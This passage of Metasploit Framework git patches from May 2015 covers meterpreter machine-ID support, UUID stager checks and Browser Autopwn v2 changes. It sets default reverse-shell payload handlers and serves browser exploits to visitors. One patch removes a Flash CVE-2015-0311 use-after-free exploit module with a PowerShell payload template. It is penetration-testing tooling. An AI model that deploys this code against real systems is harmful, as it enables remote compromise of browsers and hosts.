datastore["LPORT"] lurl << "/" - lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len) + lurl << generate_uri_uuid_mode(:init_java, uri_req_len) classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) string_sub(classes, 'ZZZZ' + ' ' * 512, lurl) From 1c73c190fc845f52b4a19b5526b8afc39895c9a4 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 22 May 2015 14:41:12 +1000 Subject: [PATCH 0156/1013] Add machine_id support to windows php meterp --- data/meterpreter/meterpreter.php | 11 ++++------- lib/rex/post/meterpreter/client_core.rb | 5 +++++ .../payloads/singles/php/meterpreter_reverse_tcp.rb | 2 +- 3 files changed, 10 insertions(+), 8 deletions(-) diff --git a/data/meterpreter/meterpreter.php b/data/meterpreter/meterpreter.php index 4d76383caf..b772b3e94c 100755 --- a/data/meterpreter/meterpreter.php +++ b/data/meterpreter/meterpreter.php @@ -449,13 +449,10 @@ function core_machine_id($req, &$pkt) { $serial = ""; if (is_windows()) { - # TODO: need help from real PHP folks who know how to do - # things via the Windows API. We need to: - # 1) get the system volume - # 2) get the volume information for that volume. - # 3) get the serial number from the extracted volume info. - # 4) create a serial in the format: - # "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF) + # It's dirty, but there's not really a nicer way of doing this on windows. Make sure + # it's lowercase as this is what the other meterpreters use. + $output = strtolower(shell_exec("vol %SYSTEMDRIVE%")); + $serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '$1', $output); } else { $serial = get_hdd_label(); } diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 17ee24e02d..2ed0d19202 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -317,6 +317,11 @@ class ClientCore < Extension response = client.send_request(*args) mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID) + + # Normalise the format of the incoming machine id so that it's consistent + # regardless of case and leading/trailing spaces. This means that the + # individual meterpreters don't have to care + mid.downcase!.strip! if mid return Rex::Text.md5(mid) end diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index ba8464c4ed..b7b94c4cc3 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options' module Metasploit4 - CachedSize = 25532 + CachedSize = 25679 include Msf::Payload::Single include Msf::Payload::Php::ReverseTcp From c07ff70f193caa3817f3c6aa8c690bada770d5f9 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 22 May 2015 15:11:12 +1000 Subject: [PATCH 0157/1013] Add check for UUID payloads Thankfully those payloads already had a flag that could be reused. --- lib/msf/core/payload/stager.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/stager.rb b/lib/msf/core/payload/stager.rb index aa1826809b..4b33c00898 100644 --- a/lib/msf/core/payload/stager.rb +++ b/lib/msf/core/payload/stager.rb @@ -156,11 +156,13 @@ module Msf::Payload::Stager # If the stage should be sent over the client connection that is # established (which is the default), then go ahead and transmit it. if (stage_over_connection?) - uuid_raw = conn.get_once(16, 1) - opts = {} - if uuid_raw - opts[:uuid] = Msf::Payload::UUID.new({raw: uuid_raw}) + + if include_send_uuid + uuid_raw = conn.get_once(16, 1) + if uuid_raw + opts[:uuid] = Msf::Payload::UUID.new({raw: uuid_raw}) + end end p = generate_stage(opts) From 078438f66e076bcfaab153fe5a32c85947d80db3 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 22 May 2015 00:30:05 -0500 Subject: [PATCH 0158/1013] Update UUIDOptions -> UUID::Options --- lib/msf/core/payload/windows/x64/reverse_http.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 9462aa3f2f..47c333f020 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -4,7 +4,7 @@ require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/x64/block_api' require 'msf/core/payload/windows/x64/exitfunk' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Msf @@ -20,7 +20,7 @@ module Payload::Windows::ReverseHttp_x64 include Msf::Payload::Windows include Msf::Payload::Windows::BlockApi_x64 include Msf::Payload::Windows::Exitfunk_x64 - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options # # Register reverse_http specific options From 2bb6f390c0b8065e14c26df7692317661219b61e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 12:22:41 -0500 Subject: [PATCH 0159/1013] Add session limiter and fix a race bug in notes removal --- lib/msf/core/exploit/browserautopwnv2.rb | 91 ++++++++++++++++++----- modules/exploits/multi/browser/autopwn.rb | 7 +- 2 files changed, 76 insertions(+), 22 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 174a92cdfc..c31f8ea702 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -16,8 +16,11 @@ module Msf # @return [Array] A list of initialized BAP exploits attr_reader :bap_exploits - # @return [Array] A list of module job IDs - attr_reader :module_job_ids + # @return [Array] A list of exploit job IDs + attr_reader :exploit_job_ids + + # @return [Array] A list of payload job IDs + attr_reader :payload_job_ids # The default platform-specific payloads and preferred LPORTS. @@ -79,19 +82,44 @@ module Msf # @return [void] def rm_target_info_notes return unless framework.db.active - ::ActiveRecord::Base.connection_pool.with_connection { - framework.db.notes.each do |note| - note.destroy if note.ntype.include?(note_type_prefix) + retries = 0 + begin + ::ActiveRecord::Base.connection_pool.with_connection { + framework.db.notes.each do |note| + note.destroy if note.ntype.include?(note_type_prefix) + end + } + rescue NameError => e + # Very rarely, framework.db.notes triggers uninitialized constant Mdm::Workspace::Mdm::Note. + # Not sure why, it's been really difficult to reproduce. But the uninitialized constant error + # is raised by the compute_type method in inheritance.rb from active_record, so we'll just + # rescue that and retry a couple of times. + if retries < 10 + retry + else + print_error("Unable to properly cleanup notes. Try doing it manually: notes -d") + elog("(BAP notes cleanup) #{e.class} #{e.message}\n#{e.backtrace * "\n"}") end - } + retries += 1 + end end - # Removes background jobs (exploits and payload handlers) that belong to BAP. + # Removes background exploit jobs that belong to BAP. # # @return [void] - def rm_jobs - module_job_ids.each do |id| + def rm_exploit_jobs + exploit_job_ids.each do |id| + framework.jobs.stop_job(id) if framework.jobs[id.to_s] + end + end + + + # Removes background payload jobs that belong to BAP. + # + # @return [void] + def rm_payload_jobs + payload_job_ids.each do |id| framework.jobs.stop_job(id) if framework.jobs[id.to_s] end end @@ -99,12 +127,13 @@ module Msf # Cleans up everything such as notes and jobs. # - # @see #rm_jobs The method for cleaning up jobs. + # @see #rm_exploit_jobs The method for cleaning up jobs. # @see #rm_target_info_notes The method for removing target information (found in db notes). # @return [void] def cleanup rm_target_info_notes - rm_jobs + rm_exploit_jobs + rm_payload_jobs end @@ -296,13 +325,15 @@ module Msf end - # Creates payload listeners. The active job IDs will be tracked in #module_job_ids so that + # Creates payload listeners. The active job IDs will be tracked in #payload_job_ids so that # we know how to find them and then clean them up. # # @note FireFox payload is skipped because there's no handler for it. - # @see #module_job_ids + # @see #payload_job_ids # @return [void] def start_payload_listeners + return if datastore['MaxSessions'] == 0 + DEFAULT_PAYLOADS.each_pair do |platform, listener_info| # Exploit failed: firefox/shell_reverse_tcp is not a compatible payload next if listener_info['payload'] == 'firefox/shell_reverse_tcp' @@ -336,7 +367,7 @@ module Msf 'Payload' => listener_info['payload'], 'RunAsJob' => true ) - @module_job_ids << multi_handler.job_id + @payload_job_ids << multi_handler.job_id end end @@ -379,7 +410,7 @@ module Msf 'Payload' => m.datastore['PAYLOAD'], 'RunAsJob' => true ) - @module_job_ids << m.job_id + @exploit_job_ids << m.job_id end end @@ -392,8 +423,10 @@ module Msf self.datastore['MODULEOWNER'] = Msf::Exploit::Remote::BrowserAutopwnv2 self.datastore['DisablePayloadHandler'] = true super - @bap_exploits = [] - @module_job_ids = [] + @bap_exploits = [] + @exploit_job_ids = [] + @payload_job_ids = [] + # #split might be expensive if the file is really big @whitelist = datastore['Whitelist'] ? datastore['Whitelist'].split : nil @@ -585,6 +618,7 @@ module Msf # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [void] def on_request_uri(cli, request) + # Check if target is on our whitelist if @whitelist && !is_ip_targeted?(cli.peerhost) print_status("Client is trying to connect but not on our whitelist.") send_not_found(cli) @@ -606,15 +640,36 @@ module Msf end + # Returns a number of sessions obtained by BAP's payload handlers. + # + # @return [Fixnum] A session count. + def session_count + total = 0 + + payload_job_ids.each do |id| + total += framework.jobs[id.to_s].ctx.first.session_count + end + + total + end + + # Returns the HTML that serves our exploits. # # @param cli [Socket] Socket for the browser # @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser # @return [String] HTML def build_html(cli, request) + exploit_list = get_exploit_urls(cli, request) + + if datastore['MaxSessions'] > -1 && session_count >= datastore['MaxSessions'] + print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessions']}") + return datastore['Content'] + end + js = %Q| var currentIndex = 0; - var exploitList = [#{get_exploit_urls(cli, request).map! {|e| "'#{e}'"} * ", "}]; + var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}]; window.onload = function() { var e = document.createElement("iframe"); diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 26e79ddd4b..343e544415 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -35,7 +35,9 @@ class Metasploit3 < Msf::Exploit::Remote OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), OptString.new('Content', [false, 'HTML Content', '']), - OptAddressRange.new('Whitelist', [false, "A range of IPs you're interested in attacking"]) + OptAddressRange.new('Whitelist', [false, "A range of IPs you're interested in attacking"]), + OptInt.new('MaxSessions', [false, 'Number of sessions to get', -1]), + OptBool.new("RealList", [true, "Show which exploits will actually be served to each client", false]) ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') @@ -58,14 +60,11 @@ class Metasploit3 < Msf::Exploit::Remote opts << OptInt.new("PAYLOAD_#{platform.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info['lport']]) end - opts << OptBool.new("RealList", [true, "Show which exploits will actually be served to each client", false]) - opts end def on_request_exploit(cli, request, target_info) serve = build_html(cli, request) - print_status("Serving exploits...") send_exploit_html(cli, serve) end From e8a32bdd10f8457f2dc4b132b7ebc5ff1d39a487 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 12:40:56 -0500 Subject: [PATCH 0160/1013] Make MaxSessions/RealList/Custom404 work better --- lib/msf/core/exploit/browserautopwnv2.rb | 22 ++++++++++++++++++++-- 1 file changed, 20 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index c31f8ea702..defa451fd0 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -583,7 +583,12 @@ module Msf table << [order, ip, m.shortname] order += 1 end - print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") + + if table.rows.empty? + print_status("No exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") + else + print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") + end end @@ -654,6 +659,14 @@ module Msf end + # Returns the custom 404 URL set by the user + # + # @return [String] + def get_custom_404_url + datastore['Custom404'].to_s + end + + # Returns the HTML that serves our exploits. # # @param cli [Socket] Socket for the browser @@ -664,7 +677,12 @@ module Msf if datastore['MaxSessions'] > -1 && session_count >= datastore['MaxSessions'] print_status("Exploits will not be served because you've reached the max session count of #{datastore['MaxSessions']}") - return datastore['Content'] + if datastore['Content'].blank? + send_not_found(cli) + return '' + else + return datastore['Content'] + end end js = %Q| From 905fe73d78a0c237460aa63ec3dd42b96e6c5380 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 12:57:06 -0500 Subject: [PATCH 0161/1013] Track clicks --- lib/msf/core/exploit/browserautopwnv2.rb | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index defa451fd0..24af9ab4c3 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -567,6 +567,22 @@ module Msf end + # Logs the actual exploit list (for the client) to our database. The data will be saved + # in csv format. + # + # @param [String] ip The target's IP address. + # @param [Rex::Ui::Text::Table] table Rex table that contains the exploit list. + # @return [void] + def log_real_list(ip, table) + csv_data = table.rows.empty? ? '' : table.to_csv + report_note( + :host => ip, + :type => 'bap.exploitlist', + :data => csv_data, + :update => :unique_data) + end + + # Prints a list of suitable exploits for the current list. # # @see #sort_bap_exploits Explains how the exploit list is generated at first. @@ -584,8 +600,10 @@ module Msf order += 1 end + log_real_list(cli.peerhost, table) + if table.rows.empty? - print_status("No exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") + print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.") else print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") end From 8fd468a89f5176c8f1ee0952867506582c35df0f Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 13:07:30 -0500 Subject: [PATCH 0162/1013] Get the dry-run feature right this time --- lib/msf/core/exploit/browserautopwnv2.rb | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 24af9ab4c3..20bfbed003 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -567,19 +567,17 @@ module Msf end - # Logs the actual exploit list (for the client) to our database. The data will be saved - # in csv format. + # Logs a click that includes the suitable exploit list. # # @param [String] ip The target's IP address. - # @param [Rex::Ui::Text::Table] table Rex table that contains the exploit list. + # @param [String] data (Optioal) CSV data that contains the exploit list. # @return [void] - def log_real_list(ip, table) - csv_data = table.rows.empty? ? '' : table.to_csv + def log_click(ip, data='') report_note( :host => ip, - :type => 'bap.exploitlist', - :data => csv_data, - :update => :unique_data) + :type => 'bap.clicks', + :data => data, + :update => :unique) end @@ -600,11 +598,11 @@ module Msf order += 1 end - log_real_list(cli.peerhost, table) - if table.rows.empty? print_status("User #{cli.peerhost} (Tag: #{tag}) visited our malicious link, but no exploits found suitable.") else + # Update the exploit list data + log_click(cli.peerhost, table.to_csv) print_status("Exploits found suitable for #{cli.peerhost} (Tag: #{tag})#{table}") end end @@ -648,6 +646,8 @@ module Msf return end + log_click(cli.peerhost) + super end From 9600f6a30a201d2db348cc93029a3246aec47c87 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 17:14:08 -0500 Subject: [PATCH 0163/1013] rm deprecated exploit --- .../adobe_flash_uncompress_zlib_uaf.rb | 110 ------------------ 1 file changed, 110 deletions(-) delete mode 100644 modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uaf.rb diff --git a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uaf.rb deleted file mode 100644 index 38828c2239..0000000000 --- a/modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uaf.rb +++ /dev/null @@ -1,110 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::Powershell - include Msf::Exploit::Remote::BrowserExploitServer - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 7, 21), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf') - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free', - 'Description' => %q{ - This module exploits an use after free vulnerability in Adobe Flash Player. The - vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying - to uncompress() a malformed byte stream. This module has been tested successfully - on Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and - 16.0.0.235. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Unknown', # Vulnerability discovery and exploit in the wild - 'hdarwin', # Public exploit by @hdarwin89 - 'juan vazquez' # msf module - ], - 'References' => - [ - ['CVE', '2015-0311'], - ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'], - ['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'], - ['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/'] - ], - 'Payload' => - { - 'DisableNops' => true - }, - 'Platform' => 'win', - 'BrowserRequirements' => - { - :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS_7, - :ua_name => Msf::HttpClients::IE, - :flash => lambda { |ver| ver =~ /^16\./ && ver <= '16.0.0.287' }, - :arch => ARCH_X86 - }, - 'Targets' => - [ - [ 'Automatic', {} ] - ], - 'Privileged' => false, - 'DisclosureDate' => 'Apr 28 2014', - 'DefaultTarget' => 0)) - end - - def exploit - @swf = create_swf - super - end - - def on_request_exploit(cli, request, target_info) - print_status("Request: #{request.uri}") - - if request.uri =~ /\.swf$/ - print_status('Sending SWF...') - send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) - return - end - - print_status('Sending HTML...') - send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) - end - - def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" - target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) - - html_template = %Q| - - - - - - - - - - - | - - return html_template, binding() - end - - def create_swf - path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf') - swf = ::File.open(path, 'rb') { |f| swf = f.read } - - swf - end - -end From 916b7b83bee75f7315c42e6a373de105dbacac60 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 22 May 2015 20:35:43 -0500 Subject: [PATCH 0164/1013] Change how we load payload handlers --- lib/msf/core/exploit/browserautopwnv2.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 20bfbed003..16f1dd35ea 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -278,8 +278,14 @@ module Msf # @return [TrueClass] Payload is wanted. # @return [FalseClass] Payload is not wanted. def is_payload_handler_wanted?(payload_name) + p = framework.payloads.create(payload_name) + return false unless p + + payload_platforms = p.platform.platforms + bap_exploits.each do |m| - return true if m.datastore['PAYLOAD'] == payload_name + module_platforms = m.platform.platforms + return true if payload_platforms.all? { |e| payload_platforms.include? e} end false @@ -468,12 +474,13 @@ module Msf order = 1 bap_exploits.each do |m| + payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multi payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" row = [] row << order row << parse_rank(m.rank) row << m.shortname row << m.datastore['URIPATH'] if datastore['VERBOSE'] - row << "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" + row << payload_used table << row order += 1 end From 60b0be8e3f59edfa5247d37ca6249a94d4517318 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 23 May 2015 01:59:29 -0500 Subject: [PATCH 0165/1013] Fix a lot of bugs --- lib/msf/core/exploit/browserautopwnv2.rb | 15 +++---- .../exploit/remote/browser_exploit_server.rb | 20 +++++----- lib/msf/core/handler/reverse_tcp_double.rb | 28 +++++++------ .../core/handler/reverse_tcp_double_ssl.rb | 4 +- .../adobe_flash_uncompress_zlib_uaf.rb | 39 ++++++------------- 5 files changed, 50 insertions(+), 56 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 16f1dd35ea..6dacabcb28 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -27,13 +27,14 @@ module Msf # The hash key is the name of the platform that matches what's on the module. # The loader order is specific while starting them up. DEFAULT_PAYLOADS = { - 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4449 }, - 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4448 }, + 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4442 }, + 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4443 }, 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, 'linux' => { 'payload' => 'linux/x86/meterpreter/reverse_tcp', 'lport' => 4445 }, - 'osx' => { 'payload' => 'osx/x86/shell_reverse_tcp', 'lport' => 4446 }, - 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4447 }, - 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4450 } + 'unix' => { 'payload' => 'cmd/unix/reverse', 'lport' => 4446 }, + 'osx' => { 'payload' => 'osx/x86/shell_reverse_tcp', 'lport' => 4447 }, + 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4448 }, + 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4459 } } @@ -285,7 +286,7 @@ module Msf bap_exploits.each do |m| module_platforms = m.platform.platforms - return true if payload_platforms.all? { |e| payload_platforms.include? e} + return true if payload_platforms.all? { |e| module_platforms.include? e} end false @@ -474,7 +475,7 @@ module Msf order = 1 bap_exploits.each do |m| - payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multi payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" + payload_used = m.datastore['PAYLOAD'] != 'firefox/shell_reverse_tcp' && m.fullname =~ /^exploit\/multi/ ? 'Multiple payload handlers are used' : "#{m.datastore['PAYLOAD']} on #{m.datastore['LPORT']}" row = [] row << order row << parse_rank(m.rank) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 104af64768..f4f173e815 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -199,6 +199,7 @@ module Msf def try_set_target(profile) match_counts = [] target_requirements = {} + profile = profile.values.first targets.each do |t| target_requirements = extract_requirements(t.opts) @@ -206,7 +207,7 @@ module Msf match_counts << 0 else match_counts << target_requirements.select { |k,v| - if v.class == Regexp + if v.is_a? Regexp profile[k] =~ v else profile[k] == v @@ -337,9 +338,9 @@ module Msf report_client({ :host => cli.peerhost, - :ua_string => request.headers['User-Agent'], - :ua_name => found_ua_name, - :ua_ver => found_ua_ver + :ua_string => request.headers['User-Agent'].to_s, + :ua_name => found_ua_name.to_s, + :ua_ver => found_ua_ver.to_s }) end @@ -513,7 +514,7 @@ module Msf bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? begin - method(:on_request_exploit).call(cli, request, profile) + method(:on_request_exploit).call(cli, request, profile.values.first) rescue BESException => e elog("BESException: #{e.message}\n#{e.backtrace * "\n"}") send_not_found(cli) @@ -572,8 +573,8 @@ module Msf # @param browser_info [Hash] The target profile # @return [String] The payload def get_payload(cli, browser_info) - arch = browser_info[:arch] - platform = browser_info[:os_name] + arch = browser_info['arch'] + platform = browser_info['os_name'] # Fix names for consistency so our API can find the right one # Originally defined in lib/msf/core/constants.rb @@ -581,9 +582,10 @@ module Msf platform = platform.gsub(/^Windows.*$/, 'Windows') p = regenerate_payload(cli, platform, arch) + target_arch = get_target.arch - unless p.arch.include?(arch) - err = "The payload arch (#{p.arch * ", "}) is incompatible with the #{arch} target. " + unless p.arch.all? { |e| target_arch.include?(e) } + err = "The payload arch (#{p.arch * ", "}) is incompatible with the target (#{target_arch * "\n"}). " err << "Please check your payload setting." raise BESException, err end diff --git a/lib/msf/core/handler/reverse_tcp_double.rb b/lib/msf/core/handler/reverse_tcp_double.rb index af0730f3c5..71d5673974 100644 --- a/lib/msf/core/handler/reverse_tcp_double.rb +++ b/lib/msf/core/handler/reverse_tcp_double.rb @@ -95,16 +95,22 @@ module ReverseTcpDouble sock_inp = nil sock_out = nil - print_status("Started reverse double handler") + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Started reverse double handler") + end begin # Accept two client connection begin client_a = self.listener_sock.accept - print_status("Accepted the first client connection...") + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Accepted the first client connection...") + end client_b = self.listener_sock.accept - print_status("Accepted the second client connection...") + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Accepted the second client connection...") + end rescue wlog("Exception raised during listener accept: #{$!}\n\n#{$@.join("\n")}") return nil @@ -147,35 +153,35 @@ module ReverseTcpDouble print_status("Command: #{echo.strip}") - print_status("Writing to socket A") + print_status("Writing to socket A") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 sock_a.put(echo) - print_status("Writing to socket B") + print_status("Writing to socket B") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 sock_b.put(echo) - print_status("Reading from sockets...") + print_status("Reading from sockets...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 resp_a = '' resp_b = '' if (sock_a.has_read_data?(1)) - print_status("Reading from socket A") + print_status("Reading from socket A") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 resp_a = sock_a.get_once print_status("A: #{resp_a.inspect}") end if (sock_b.has_read_data?(1)) - print_status("Reading from socket B") + print_status("Reading from socket B") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 resp_b = sock_b.get_once print_status("B: #{resp_b.inspect}") end - print_status("Matching...") + print_status("Matching...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 if (resp_b.match(etag)) - print_status("A is input...") + print_status("A is input...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 return sock_a, sock_b else - print_status("B is input...") + print_status("B is input...") unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 return sock_b, sock_a end diff --git a/lib/msf/core/handler/reverse_tcp_double_ssl.rb b/lib/msf/core/handler/reverse_tcp_double_ssl.rb index d6650f5264..6d7c89d913 100644 --- a/lib/msf/core/handler/reverse_tcp_double_ssl.rb +++ b/lib/msf/core/handler/reverse_tcp_double_ssl.rb @@ -105,7 +105,9 @@ module ReverseTcpDoubleSSL via = "" end - print_status("Started reverse double SSL handler on #{ip}:#{local_port} #{via}") + unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 + print_status("Started reverse double SSL handler on #{ip}:#{local_port} #{via}") + end break rescue ex = $! diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index 774ab5ab27..d23e419516 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -46,43 +46,26 @@ class Metasploit3 < Msf::Exploit::Remote { :source => /script|headers/i, :arch => ARCH_X86, - :os_name => lambda do |os| - os =~ OperatingSystems::Match::LINUX || - os =~ OperatingSystems::Match::WINDOWS_7 - end, - :ua_name => lambda do |ua| - case target.name - when 'Windows' - return true if ua == Msf::HttpClients::IE - when 'Linux' - return true if ua == Msf::HttpClients::FF - end - - false - end, - :flash => lambda do |ver| - case target.name - when 'Windows' - return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.287') - when 'Linux' - return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438') - end - - false - end + :flash => lambda { |ver| ver.to_i.between?(11, 16) } }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win', - 'Arch' => ARCH_X86 + 'os_name' => OperatingSystems::Match::WINDOWS, + 'Arch' => ARCH_X86, + 'ua_name' => Msf::HttpClients::IE, + 'flash' => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= 